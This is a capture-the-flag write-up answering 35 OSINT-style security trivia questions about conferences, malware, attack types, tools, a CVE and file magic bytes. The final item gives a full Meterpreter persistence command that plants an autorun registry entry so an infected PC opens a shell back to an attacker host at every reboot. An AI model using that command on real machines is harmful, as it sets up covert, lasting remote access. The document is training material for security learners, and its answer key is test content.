Author: Kharim Mchatta

Title: CYBER TALENTS CTF WRITE UP

Category: OSINT

Date: 7/8/2021

OSINT

1. BUSINESS GATHERING

I am a huge cyber security conference that run every year in three places: San Francisco, Singapore, and Lately Abu Dhabi. Who am I?

- rsaconference

2. HACKERS GATHERING

I am a cyber security conference that run in August every year in Las Vegas. I am the largest gathering for Hackers in the whole world. No Credit cards, no online booking, Only Cash allowed. Who am I ?

- defcon

3. FOUNDER

I have founded two of the most famous Cyber Security conferences across the globe in Las Vegas, USA. I am not The Dark Knight. I am The Dark--------?

- tangent

4. BACK TO HISTORY

am the First Computer Virus ever known. You will find me in your head. My name is ……..?

- brain

5. CONTRIBUTE

I am an organization that releases the Top 10 Vulnerabilities in Application Security. I am ……?

- owasp

6. GREEKS

The art of hiding messages or information inside other image / text or data

- steganography

7. ROBOT

A group or network of machines that are controlled by an attacker to do a certain task

- bot

8. JAPANES WARRIOR

I am a Linux distribution with two versions one for Web Penetration Testing and the other for attacking smart grids. What is my smart grid distribution name?

- samuraistfu

9. CLOSE LOOK

I am a Linux distribution that has many tricks to do packet and traffic analysis. Who am I?

- packetrix

10. PAY ME

I will lock your machine screen or files till you pay me. Who am i ?

- ransomware

11. TREND MICRO CONFRANCE

Periodic Conference in many cities hosted by Trend Micro

- cloudsec

12. INTERCEPT

the attacker intercept information between receiver and sender. what is the attack name?

- mitm

13. MODIFY CODE

Change code from one form to another to prevent attacker from understanding it

- obfuscation

14. DO YOU TRUST SENDER

Receive malware from a known person. What is the attack type?

- spoofing

15. MY BOX

I am a professional pen tester. I do not need to know any information from the customer, I do .... box pen test

- black

16. CRASH

enter a lot of random trash till the application crash

- fuzzing

17. SCAN

One of the famous, free port scanners. Who am I?

- nmap

18. CAPTURE

Network analysis tool used to capture packets and present it in readable format

- wireshark

19. PRECIOUS VULNERABILITY

a security flaw that is not yet known

- zeroday

20. SCADA

A worm that targeted SCADA Systems

-stuxnet

21. HTML ENTITIES

True or False , html entities (convert special characters to its html entity) cannot be exploited to run XSS payload ?

-false

22. ENCONDING

What type of this encoded , hashed text "aGVsbG93b3JsZDEx" ?

- base64

23. REWARDS

I receive a reward or mentioned on a wall of fame when i found vulnerability. I am participating in ..... program? Format of Flag (Do not use spaces)

-bug bounty

24. HIDE ME

I act as a middleman to forward requests from different devices to access external resources . I am a .....?

-proxy

25. CASH

I am a type of attacks that used to spread malware. I push data in the cache records of your DNS. I am cache .....?

- poisoning

26. USERNAME

He is a username or account that by default has access to all commands and files on a Linux or other Unix-like operating system.

- root

27. CRIME SCENE

Process of analyzing and investing computer devices, on suspecting that such devices may have been used in a cybercrime.

- forensics

28. CVE NUMBER

What is the CVE ID that is related to Eternal Blue.

- CVE-2017-0144

29. ONE CLICK

a type of malicious exploit of a website where unauthorized commands are submitted from a user that the web application trusts.

- CSRF

30. REMOVE

I need to remove a file called secret in my home directory. which command should I use.

- rm ~/secret

31. DISTRIBUTION

Debian-based distribution with a collection of security and forensics tools. It features timely security updates, support for the ARM architecture

The flag without spaces.

- kali linux

32. SECURITY MODEL

is a model designed to guide policies for information security within an organization. (Flag in small letters)

- CIA

33. JPG MAGIC

You are doing some file analysis and you need to verify the magic byte of JPEG image

Do you know the first 2 bytes of JPEG format.

- ff d8

34. SILENT LOOK

Gathering as much information as possible without establishing contact between the pen tester and the target which you are collecting information.

- passive information gathering

35. PERSISTENCE

You want to achieve persistence using Meterpreter's persistence module by creating an autorun registry file and getting a shell automatically every time the user restarts the PC

Persistence options

Minutes after restarting the system: 7
Your Local port: 1337
Your local host IP: 192.168.0.177.

- run persistence -U -i 7 -p 1337 -r 192.168.0.177